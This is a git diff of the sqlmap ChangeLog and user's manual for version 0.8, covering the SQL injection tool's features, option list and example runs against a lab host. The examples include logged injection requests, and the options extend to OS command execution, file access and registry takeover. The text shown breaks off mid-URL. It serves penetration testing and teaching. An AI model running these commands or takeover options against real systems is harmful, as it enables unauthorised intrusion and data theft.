diff --git a/doc/ChangeLog b/doc/ChangeLog index 686eda39e..248aa533e 100644 --- a/doc/ChangeLog +++ b/doc/ChangeLog @@ -40,6 +40,8 @@ sqlmap (0.8-1) stable; urgency=low --drop-set-cookie (Miroslav). * Added support to specify which Google dork result page to parse, --gpage to be used together with -g (Miroslav). + * Major bug fix and enhancements to the multi-threading (--threads) + functionality (Miroslav). * Fixed URL encoding/decoding of GET/POST parameters and Cookie header (Miroslav). * Refactored --update to use python-svn third party library if available @@ -55,7 +57,9 @@ sqlmap (0.8-1) stable; urgency=low shells consequently reducing drastically the number of anti-virus softwares that mistakenly mark sqlmap as a malware (Miroslav). * Updated user's manual (Bernardo and Miroslav). - * Created several demo videos, http://sqlmap.sf.net/demo.html (Bernardo). + * Created several demo videos, hosted on YouTube + (http://www.youtube.com/user/inquisb) and linked from + http://sqlmap.sourceforge.net/demo.html (Bernardo). -- Bernardo Damele A. G. Sun, 14 Mar 2010 10:00:00 +0000 diff --git a/doc/README.html b/doc/README.html index 53f78e9a2..2a0b33521 100644 --- a/doc/README.html +++ b/doc/README.html @@ -1,14 +1,15 @@ - + sqlmap user's manual

sqlmap user's manual

by -Bernardo Damele A. G.

version 0.7, July 25, 2009 +Bernardo Damele A. G., +Miroslav Stamparversion 0.8, March 14, 2010
This document is the user's manual to use sqlmap. @@ -23,13 +24,14 @@ for the latest version.
  • 1.1 Requirements
  • 1.2 Scenario
  • 1.3 Techniques +
  • 1.4 Demo

    2. Features

    @@ -49,34 +51,29 @@ for the latest version.

  • 5.5 Techniques
  • 5.6 Fingerprint
  • 5.7 Enumeration -
  • 5.8 File system access -
  • 5.9 Operating system access -
  • 5.10 Miscellaneous +
  • 5.8 User-defined function injection +
  • 5.9 File system access +
  • 5.10 Operating system access +
  • 5.11 Windows registry access +
  • 5.12 Miscellaneous

    6. Disclaimer

    -

    7. Author

    +

    7. Authors

    1. Introduction

    -

    sqlmap is an open source command-line automatic -SQL injection -tool. -Its goal is to detect and take advantage of SQL injection vulnerabilities -in web applications. Once it detects one or more SQL injections on the -target host, the user can choose among a variety of options to perform an -extensive back-end database management system fingerprint, retrieve DBMS -session user and database, enumerate users, password hashes, privileges, -databases, dump entire or user's specified DBMS tables/columns, run his own -SQL statement, read or write either text or binary files on the file -system, execute arbitrary commands on the operating system, establish an -out-of-band stateful connection between the attacker box and the database -server via Metasploit payload stager, database stored procedure buffer -overflow exploitation or SMB relay attack and more.

    +

    sqlmap is an open source penetration testing tool that automates the +process of detecting and exploiting SQL injection flaws and taking over of +back-end database servers. +It comes with a broad range of features lasting from database +fingerprinting, over data fetching from the database, to accessing the +underlying file system and executing commands on the operating system via +out-of-band connections.

    1.1 Requirements @@ -85,30 +82,36 @@ overflow exploitation or SMB relay attack and more.

    sqlmap is developed in Python, a dynamic object-oriented interpreted programming language. -This makes the tool independent from the operating system since it only +This makes the tool independent from the operating system. It only requires the Python interpreter version equal or above to 2.5. The interpreter is freely downloadable from its official site. To make it even easier, many GNU/Linux distributions come out of the box -with Python interpreter package installed and other Unices and MacOS X -too provide it packaged in their formats and ready to be installed. +with Python interpreter installed and other Unices and Mac OSX too provide +it packaged in their formats and ready to be installed. Windows users can download and install the Python setup-ready installer for x86, AMD64 and Itanium too.

    sqlmap relies on the Metasploit Framework for some of its post-exploitation takeover -functionalities. You need to grab a copy of it from the +features. You need to grab a copy of it from the download -page. The required version is 3.3 or above.

    +page. The required version is 3.3.3 or above. However, it is +recommended to use the Metasploit latest development version from the +Subversion repository.

    +

    If you plan to attack a web application behind NTLM authentication or use +the sqlmap update functionality you need to install respectively +python-ntlm +and +python-svn libraries.

    Optionally, if you are running sqlmap on Windows, you may wish to install PyReadline library to be able to take advantage of the sqlmap TAB completion and history support functionalities in the SQL shell and OS shell. Note that these functionalities are available natively by Python standard readline -library on other operating systems. -You can also choose to install -Psyco -library to speed up the sqlmap algorithmic operations.

    +library on other operating systems.

    +

    You can also choose to install +Psyco library to speed up the sqlmap algorithmic operations.

    1.2 Scenario @@ -125,19 +128,19 @@ or even be able to access the underlying operating system.

    Consider that the target url is:

    -http://192.168.1.121/sqlmap/mysql/get_int.php?id=1 +http://172.16.213.131/sqlmap/mysql/get_int.php?id=1

    Assume that:

    -http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1 +http://172.16.213.131/sqlmap/mysql/get_int.php?id=1+AND+1=1

    is the same page as the original one and:

    -http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2 +http://172.16.213.131/sqlmap/mysql/get_int.php?id=1+AND+1=2

    differs from the original one, it means that you are in front of a SQL @@ -150,10 +153,10 @@ does not depend upon the back-end database management system nor on the web application programming language: it is a programmer code's security flaw. The Open Web Application Security Project -rated on 2007 in their -OWASP Top Ten survey this vulnerability as the -most common and important web application vulnerability, second only to -Cross-Site Scripting.

    +rated on 2010 in their +OWASP Top Ten survey this vulnerability as the +most common and important web application vulnerability along with other +injection flaws.

    Back to the scenario, probably the SQL SELECT statement into get_int.php has a syntax similar to the following SQL query, in pseudo PHP code:

    @@ -182,14 +185,13 @@ on the Net explaining in depth how to prevent, how to detect and how to exploit SQL injection vulnerabilities in web application and it is recommended to read them if you are not familiar with the issue before going ahead with sqlmap.

    -

    Passing the original address, http://192.168.1.121/sqlmap/mysql/get_int.php?id=1 +

    Passing the original address, http://172.16.213.131/sqlmap/mysql/get_int.php?id=1 to sqlmap, the tool will automatically:

    • Identify the vulnerable parameter(s) (id in this scenario);
      • -
    • Depending on the user's options, sqlmap uses the blind SQL -injection or the inband SQL injection technique as described -in the following section to go ahead with the exploiting.
      • +
    • Depending on the user's options, fingerprint, enumerate, takeover +the database server.

    @@ -241,10 +243,18 @@ and the session user privileges.

    • +

    1.4 Demo +

    + +

    You can watch several demo videos, they are hosted on +YouTube and linked +from +here.

    +

    2. Features

    -

    Major features implemented in sqlmap include:

    +

    Features implemented in sqlmap include:

    2.1 Generic features @@ -254,7 +264,7 @@ and the session user privileges.

    -

    2.2 Enumeration features +

    2.2 Fingerprint and enumeration features

    +

    2.3 Takeover features

    +

    Some of these techniques are detailed in the white paper +Advanced SQL injection to operating system full control and in the +slide deck +Expanding the control over the operating system from the database.

    +

    3. Download and update

    sqlmap can be downloaded from its @@ -409,31 +475,31 @@ It is available in various formats:

    -

    You can also checkout the source code from the sqlmap +

    You can also checkout the latest development version from the sqlmap Subversion -repository to give a try to the development release:

    +repository:

    @@ -442,16 +508,57 @@ $ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev

    +

    If you download a source package (gzip, bzip2 or zip) or sqlmap from the +Subversion repository, you can update it to the latest development version +anytime by running:

    +

    +

    +
    +$ python sqlmap.py --update
+
    +
    +

    +

    Or:

    +

    +

    +
    +$ svn update
+
    +
    +

    + +

    Viceversa if you download a binary package (deb, rpm or exe), the +update feature is disabled.

    + +

    There are some differences between the packages:

    +

    +

    +

    + +

    It is therefore recommended to download any of the source packages and run +it either from a shell like Bash on Unix and Mac OSX or from Cygwin on +Windows.

    +

    4. License and copyright

    sqlmap is released under the terms of the General Public License v2. sqlmap is copyrighted by -Bernardo Damele A. G. -(2007-2009) and -Daniele Bellucci -(2006).

    +Bernardo Damele A. G..

    5. Usage

    @@ -461,8 +568,8 @@ sqlmap is copyrighted by 
     $ python sqlmap.py -h
 
-    sqlmap/0.7
-    by Bernardo Damele A. G. <bernardo.damele@gmail.com>
+    sqlmap/0.8 - automatic SQL injection and database takeover tool
+    http://sqlmap.sourceforge.net
     
 Usage: sqlmap.py [options]
 
@@ -476,7 +583,8 @@ Options:
     get target urls from.
 
     -u URL, --url=URL   Target url
-    -l LIST             Parse targets from Burp or WebScarab logs
+    -l LIST             Parse targets from Burp or WebScarab proxy logs
+    -r REQUESTFILE      Load HTTP request from a file
     -g GOOGLEDORK       Process Google dork results as target urls
     -c CONFIGFILE       Load options from a configuration INI file
 
@@ -486,17 +594,22 @@ Options:
     --method=METHOD     HTTP method, GET or POST (default GET)
     --data=DATA         Data string to be sent through POST
     --cookie=COOKIE     HTTP Cookie header
-    --referer=REFERER   HTTP Referer header
+    --cookie-urlencode  URL Encode generated cookie injections
+    --drop-set-cookie   Ignore Set-Cookie header from response
     --user-agent=AGENT  HTTP User-Agent header
     -a USERAGENTSFILE   Load a random HTTP User-Agent header from file
+    --referer=REFERER   HTTP Referer header
     --headers=HEADERS   Extra HTTP headers newline separated
-    --auth-type=ATYPE   HTTP Authentication type (value Basic or Digest)
-    --auth-cred=ACRED   HTTP Authentication credentials (value name:password)
+    --auth-type=ATYPE   HTTP authentication type (Basic, Digest or NTLM)
+    --auth-cred=ACRED   HTTP authentication credentials (name:password)
+    --auth-cert=ACERT   HTTP authentication certificate (key_file,cert_file)
     --proxy=PROXY       Use a HTTP proxy to connect to the target url
+    --ignore-proxy      Ignore system default HTTP proxy
     --threads=THREADS   Maximum number of concurrent HTTP requests (default 1)
     --delay=DELAY       Delay in seconds between each HTTP request
     --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
     --retries=RETRIES   Retries when the connection timeouts (default 3)
+    --scope=SCOPE       Regexp to filter targets from provided proxy log
 
   Injection:
     These options can be used to specify which parameters to test for,
@@ -539,12 +652,12 @@ Options:
     --current-db        Retrieve DBMS current database
     --is-dba            Detect if the DBMS current user is DBA
     --users             Enumerate DBMS users
-    --passwords         Enumerate DBMS users password hashes (opt -U)
-    --privileges        Enumerate DBMS users privileges (opt -U)
+    --passwords         Enumerate DBMS users password hashes
+    --privileges        Enumerate DBMS users privileges
     --dbs               Enumerate DBMS databases
-    --tables            Enumerate DBMS database tables (opt -D)
-    --columns           Enumerate DBMS database table columns (req -T opt -D)
-    --dump              Dump DBMS database table entries (req -T, opt -D, -C)
+    --tables            Enumerate DBMS database tables
+    --columns           Enumerate DBMS database table columns
+    --dump              Dump DBMS database table entries
     --dump-all          Dump all DBMS databases tables entries
     -D DB               DBMS database to enumerate
     -T TBL              DBMS database table to enumerate
@@ -553,9 +666,17 @@ Options:
     --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
     --start=LIMITSTART  First query output entry to retrieve
     --stop=LIMITSTOP    Last query output entry to retrieve
+    --first=FIRSTCHAR   First query output word character to retrieve
+    --last=LASTCHAR     Last query output word character to retrieve
     --sql-query=QUERY   SQL statement to be executed
     --sql-shell         Prompt for an interactive SQL shell
 
+  User-defined function injection:
+    These options can be used to create custom user-defined functions.
+
+    --udf-inject        Inject custom user-defined functions
+    --shared-lib=SHLIB  Local path of the shared library
+
   File system access:
     These options can be used to access the back-end database management
     system underlying file system.
@@ -565,7 +686,7 @@ Options:
     --dest-file=DFILE   Back-end DBMS absolute filepath to write to
 
   Operating system access:
-    This option can be used to access the back-end database management
+    These options can be used to access the back-end database management
     system underlying operating system.
 
     --os-cmd=OSCMD      Execute an operating system command
@@ -577,10 +698,24 @@ Options:
     --msf-path=MSFPATH  Local path where Metasploit Framework 3 is installed
     --tmp-path=TMPPATH  Remote absolute path of temporary files directory
 
+  Windows registry access:
+    These options can be used to access the back-end database management
+    system Windows registry.
+
+    --reg-read          Read a Windows registry key value
+    --reg-add           Write a Windows registry key value data
+    --reg-del           Delete a Windows registry key value
+    --reg-key=REGKEY    Windows registry key
+    --reg-value=REGVAL  Windows registry key value
+    --reg-data=REGDATA  Windows registry key value data
+    --reg-type=REGTYPE  Windows registry key value type
+
   Miscellaneous:
-    --eta               Display for each output the estimated time of arrival
-    --update            Update sqlmap to the latest stable version
     -s SESSIONFILE      Save and resume all data retrieved on a session file
+    --flush-session     Flush session file for current target
+    --eta               Display for each output the estimated time of arrival
+    --gpage=GOOGLEPAGE  Use google dork results from specified page number
+    --update            Update sqlmap
     --save              Save options on a configuration INI file
     --batch             Never ask for user input, use the default behaviour
     --cleanup           Clean up the DBMS by sqlmap specific UDF and tables
@@ -596,45 +731,38 @@ Options:
 
 
    Verbose options can be used to set the verbosity level of output messages.
 There exist six levels.
-The default level is 1 in which information, warnings, errors and
-tracebacks, if they occur, will be shown.
+The default level is 1 in which
+information, warnings, errors and tracebacks (if any occur) will be shown.
 Level 2 shows also debug messages, level 3 shows also
-HTTP requests with all HTTP headers sent, level 4 shows also HTTP
-responses headers and level 5 shows also HTTP responses page
-content.
    
+full HTTP requests, level 4 shows also HTTP responses headers and
+level 5 shows also HTTP responses page content.
    
 
 
    Example on a MySQL 5.0.67 target (verbosity level 1):
    
 
    
 
    
 
    -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1
+
+[hh:mm:58] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
+[hh:mm:58] [INFO] testing connection to the target url
+[hh:mm:58] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:59] [INFO] url is stable
+[hh:mm:59] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:59] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:59] [INFO] testing if GET parameter 'id' is dynamic
+[hh:mm:59] [INFO] confirming that GET parameter 'id' is dynamic
+[hh:mm:59] [INFO] GET parameter 'id' is dynamic
+[hh:mm:59] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
+[hh:mm:59] [INFO] testing unescaped numeric injection on GET parameter 'id'
+[hh:mm:59] [INFO] confirming unescaped numeric injection on GET parameter 'id'
+[hh:mm:59] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
+[hh:mm:59] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:59] [INFO] the injectable parameter requires 0 parenthesis
+[hh:mm:59] [INFO] testing MySQL
+[hh:mm:59] [INFO] confirming MySQL
+[hh:mm:59] [INFO] retrieved: 0
+[hh:mm:59] [INFO] the back-end DBMS is MySQL
 
-[hh:mm:12] [INFO] testing connection to the target url
-[hh:mm:12] [INFO] testing if the url is stable, wait a few seconds
-[hh:mm:14] [INFO] url is stable
-[hh:mm:14] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:14] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
-[hh:mm:14] [INFO] testing if GET parameter 'id' is dynamic
-[hh:mm:14] [INFO] confirming that GET parameter 'id' is dynamic
-[hh:mm:14] [INFO] GET parameter 'id' is dynamic
-[hh:mm:14] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
-[hh:mm:14] [INFO] testing unescaped numeric injection on GET parameter 'id'
-[hh:mm:14] [INFO] confirming unescaped numeric injection on GET parameter 'id'
-[hh:mm:14] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
-[hh:mm:14] [INFO] testing for parenthesis on injectable parameter
-[hh:mm:14] [INFO] the injectable parameter requires 0 parenthesis
-[hh:mm:14] [INFO] testing MySQL
-[hh:mm:14] [INFO] query: CONCAT(CHAR(53), CHAR(53))
-[hh:mm:14] [INFO] retrieved: 55
-[hh:mm:14] [INFO] performed 20 queries in 0 seconds
-[hh:mm:14] [INFO] confirming MySQL
-[hh:mm:14] [INFO] query: LENGTH(CHAR(53))
-[hh:mm:14] [INFO] retrieved: 1
-[hh:mm:14] [INFO] performed 13 queries in 0 seconds
-[hh:mm:14] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1
-[hh:mm:14] [INFO] retrieved: 5
-[hh:mm:14] [INFO] performed 13 queries in 0 seconds
-web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
 web application technology: PHP 5.2.6, Apache 2.2.9
 back-end DBMS: MySQL >= 5.0.0
 
    
@@ -645,27 +773,40 @@ back-end DBMS: MySQL >= 5.0.0
 
    
 
    
 
    -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 2
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 2
 
-[hh:mm:03] [DEBUG] initializing the configuration
-[hh:mm:03] [DEBUG] initializing the knowledge base
-[hh:mm:03] [DEBUG] cleaning up configuration parameters
-[hh:mm:03] [DEBUG] setting the HTTP method to GET
-[hh:mm:03] [DEBUG] creating HTTP requests opener object
-[hh:mm:03] [DEBUG] parsing XML queries file
-[hh:mm:03] [INFO] testing connection to the target url
-[hh:mm:03] [INFO] testing if the url is stable, wait a few seconds
-[hh:mm:04] [INFO] url is stable
-[hh:mm:04] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:04] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
-[hh:mm:04] [INFO] testing if GET parameter 'id' is dynamic
-[hh:mm:04] [INFO] confirming that GET parameter 'id' is dynamic
-[hh:mm:04] [INFO] GET parameter 'id' is dynamic
-[hh:mm:04] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
-[hh:mm:04] [INFO] testing unescaped numeric injection on GET parameter 'id'
-[hh:mm:04] [INFO] confirming unescaped numeric injection on GET parameter 'id'
-[hh:mm:04] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
-[...]
+[hh:mm:22] [DEBUG] initializing the configuration
+[hh:mm:22] [DEBUG] initializing the knowledge base
+[hh:mm:22] [DEBUG] cleaning up configuration parameters
+[hh:mm:22] [DEBUG] setting the HTTP timeout
+[hh:mm:22] [DEBUG] setting the HTTP method to GET
+[hh:mm:22] [DEBUG] creating HTTP requests opener object
+[hh:mm:22] [DEBUG] parsing XML queries file
+[hh:mm:22] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
+[hh:mm:22] [INFO] testing connection to the target url
+[hh:mm:22] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:23] [INFO] url is stable
+[hh:mm:23] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:23] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:23] [INFO] testing if GET parameter 'id' is dynamic
+[hh:mm:23] [DEBUG] setting match ratio to 0.743
+[hh:mm:23] [INFO] confirming that GET parameter 'id' is dynamic
+[hh:mm:23] [INFO] GET parameter 'id' is dynamic
+[hh:mm:23] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
+[hh:mm:23] [INFO] testing unescaped numeric injection on GET parameter 'id'
+[hh:mm:23] [INFO] confirming unescaped numeric injection on GET parameter 'id'
+[hh:mm:23] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
+[hh:mm:23] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:23] [INFO] the injectable parameter requires 0 parenthesis
+[hh:mm:23] [INFO] testing MySQL
+[hh:mm:23] [INFO] confirming MySQL
+[hh:mm:23] [DEBUG] query: SELECT 2 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:23] [INFO] retrieved: 2
+[hh:mm:23] [DEBUG] performed 7 queries in 0 seconds
+[hh:mm:23] [INFO] the back-end DBMS is MySQL
+
+web application technology: PHP 5.2.6, Apache 2.2.9
+back-end DBMS: MySQL >= 5.0.0
 
    
 
    
 
    
@@ -674,31 +815,34 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 2
 
    
 
    
 
    -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 3
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 3
 
-[...]
-[hh:mm:54] [INFO] testing connection to the target url
-[hh:mm:54] [TRAFFIC OUT] HTTP request:
+[hh:mm:53] [DEBUG] initializing the configuration
+[hh:mm:53] [DEBUG] initializing the knowledge base
+[hh:mm:53] [DEBUG] cleaning up configuration parameters
+[hh:mm:53] [DEBUG] setting the HTTP timeout
+[hh:mm:53] [DEBUG] setting the HTTP method to GET
+[hh:mm:53] [DEBUG] creating HTTP requests opener object
+[hh:mm:53] [DEBUG] parsing XML queries file
+[hh:mm:53] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
+[hh:mm:53] [INFO] testing connection to the target url
+[hh:mm:53] [TRAFFIC OUT] HTTP request:
 GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
 Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.1.121:80
+Host: 172.16.213.131
 Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
-image/png,*/*;q=0.5
-User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
+Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
+User-agent: sqlmap/0.8
 Connection: close
 [...]
-[hh:mm:55] [INFO] testing MySQL
-[hh:mm:55] [INFO] query: CONCAT(CHAR(54), CHAR(54))
-[hh:mm:55] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2854%29%2C%20CHAR
-%2854%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201104=1104 HTTP/1.1
+[hh:mm:54] [INFO] testing MySQL
+[hh:mm:54] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20AND%20CONNECTION_ID%28%29=CONNECTION_ID%28%29%20AND%202385=2385 HTTP/1.1
 Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.1.121:80
+Host: 172.16.213.131
 Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
-image/png,*/*;q=0.5
-User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
+Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
+User-agent: sqlmap/0.8
 Connection: close
 [...]
 
    
@@ -709,41 +853,36 @@ Connection: close
 
    
 
    
 
    -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 4
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 4
 
 [...]
-[hh:mm:44] [INFO] testing connection to the target url
-[hh:mm:44] [TRAFFIC OUT] HTTP request:
+[hh:mm:20] [DEBUG] initializing the configuration
+[hh:mm:20] [DEBUG] initializing the knowledge base
+[hh:mm:20] [DEBUG] cleaning up configuration parameters
+[hh:mm:20] [DEBUG] setting the HTTP timeout
+[hh:mm:20] [DEBUG] setting the HTTP method to GET
+[hh:mm:20] [DEBUG] creating HTTP requests opener object
+[hh:mm:20] [DEBUG] parsing XML queries file
+[hh:mm:20] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
+[hh:mm:20] [INFO] testing connection to the target url
+[hh:mm:20] [TRAFFIC OUT] HTTP request:
 GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
 Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.1.121:80
+Host: 172.16.213.131
 Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
-image/png,*/*;q=0.5
-User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
+Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
+User-agent: sqlmap/0.8
 Connection: close
 
-[hh:mm:44] [TRAFFIC IN] HTTP response (OK - 200):
-Date: Thu, 11 Dec 2008 hh:mm:44 GMT
-Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch
-X-Powered-By: PHP/5.2.6-2ubuntu4
-Content-Length: 119
+[hh:mm:20] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Sat, 20 Feb 2010 17:43:00 GMT
+Server: Apache/2.2.9
+X-Powered-By: PHP/5.2.6-1+lenny4
+Vary: Accept-Encoding
+Content-Length: 127
 Connection: close
 Content-Type: text/html
 [...]
-[hh:mm:45] [INFO] testing MySQL
-[hh:mm:46] [INFO] query: CONCAT(CHAR(52), CHAR(52))
-[hh:mm:46] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20CHAR
-%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%203030=3030 HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.1.121:80
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
-image/png,*/*;q=0.5
-User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
-Connection: close
-[...]
 
    
 
    
 
    
@@ -752,26 +891,33 @@ Connection: close
 
    
 
    
 
    -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 5
 
-[...]
-[hh:mm:17] [INFO] testing connection to the target url
-[hh:mm:17] [TRAFFIC OUT] HTTP request:
+[hh:mm:47] [DEBUG] initializing the configuration
+[hh:mm:47] [DEBUG] initializing the knowledge base
+[hh:mm:47] [DEBUG] cleaning up configuration parameters
+[hh:mm:47] [DEBUG] setting the HTTP timeout
+[hh:mm:47] [DEBUG] setting the HTTP method to GET
+[hh:mm:47] [DEBUG] creating HTTP requests opener object
+[hh:mm:47] [DEBUG] parsing XML queries file
+[hh:mm:47] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
+[hh:mm:47] [INFO] testing connection to the target url
+[hh:mm:47] [TRAFFIC OUT] HTTP request:
 GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
 Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.1.121:80
+Host: 172.16.213.131
 Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
-image/png,*/*;q=0.5
-User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
+Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
+User-agent: sqlmap/0.8
 Connection: close
 
-[hh:mm:17] [TRAFFIC IN] HTTP response (OK - 200):
-Date: Thu, 11 Dec 2008 hh:mm:17 GMT
-Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch
-X-Powered-By: PHP/5.2.6-2ubuntu4
-Content-Length: 119
+[hh:mm:47] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Sat, 20 Feb 2010 17:44:27 GMT
+Server: Apache/2.2.9
+X-Powered-By: PHP/5.2.6-1+lenny4
+Vary: Accept-Encoding
 Connection: close
+Transfer-Encoding: chunked
 Content-Type: text/html
 
 <html><body>
@@ -781,33 +927,6 @@ Content-Type: text/html
 </table>
 </body></html>
 [...]
-[hh:mm:18] [INFO] testing MySQL
-[hh:mm:18] [INFO] query: CONCAT(CHAR(51), CHAR(51))
-[hh:mm:18] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20CHAR
-%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%202581=2581 HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.1.121:80
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
-image/png,*/*;q=0.5
-User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
-Connection: close
-
-[hh:mm:18] [TRAFFIC IN] HTTP response (OK - 200):
-Date: Thu, 11 Dec 2008 hh:mm:18 GMT
-Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch
-X-Powered-By: PHP/5.2.6-2ubuntu4
-Content-Length: 75
-Connection: close
-Content-Type: text/html
-
-<html><body>
-<b>SQL results:</b>
-<table border="1">
-</table>
-</body></html>
-[...]
 
    
 
    
 
    
@@ -817,35 +936,34 @@ Content-Type: text/html
 
 
 
    At least one of these options has to be specified to set the source to get
-target urls from.
    
+target addresses from.
    
 
 
    Target URL
    
 
-
    Option: -u or --url
    
+
    Option: -u or --url
    
 
-
    To run sqlmap on a single target URL.
    
+
    To run sqlmap against a single target URL.
    
 
 
    Example on a MySQL 5.0.67 target:
    
 
    
 
    
 
    -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1"
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1"
 
 [...]
-web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
 web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: MySQL >= 5.0.0
+back-end DBMS: MySQL 5
 
    
 
    
 
    
 
 
-
    Parse targets from Burp or WebScarab logs
    
+
    Parse targets from Burp or WebScarab proxy logs
    
 
 
    Option: -l
    
 
-
    Rather than providing a single target URL it is possible to test and inject
-on HTTP requests proxied through 
+
    Rather than providing a single target URL, it is possible to test and
+inject on HTTP requests proxied through 
 Burp proxy
 or 
 WebScarab proxy.
    
@@ -859,7 +977,7 @@ $ python sqlmap.py -l /tmp/webscarab.log/conversations/
 [hh:mm:43] [INFO] sqlmap parsed 27 testable requests from the targets list
 [hh:mm:43] [INFO] sqlmap got a total of 27 targets
 [hh:mm:43] [INPUT] url 1:
-GET http://192.168.1.121:80/phpmyadmin/navigation.php?db=test&token=60747016432606019619a
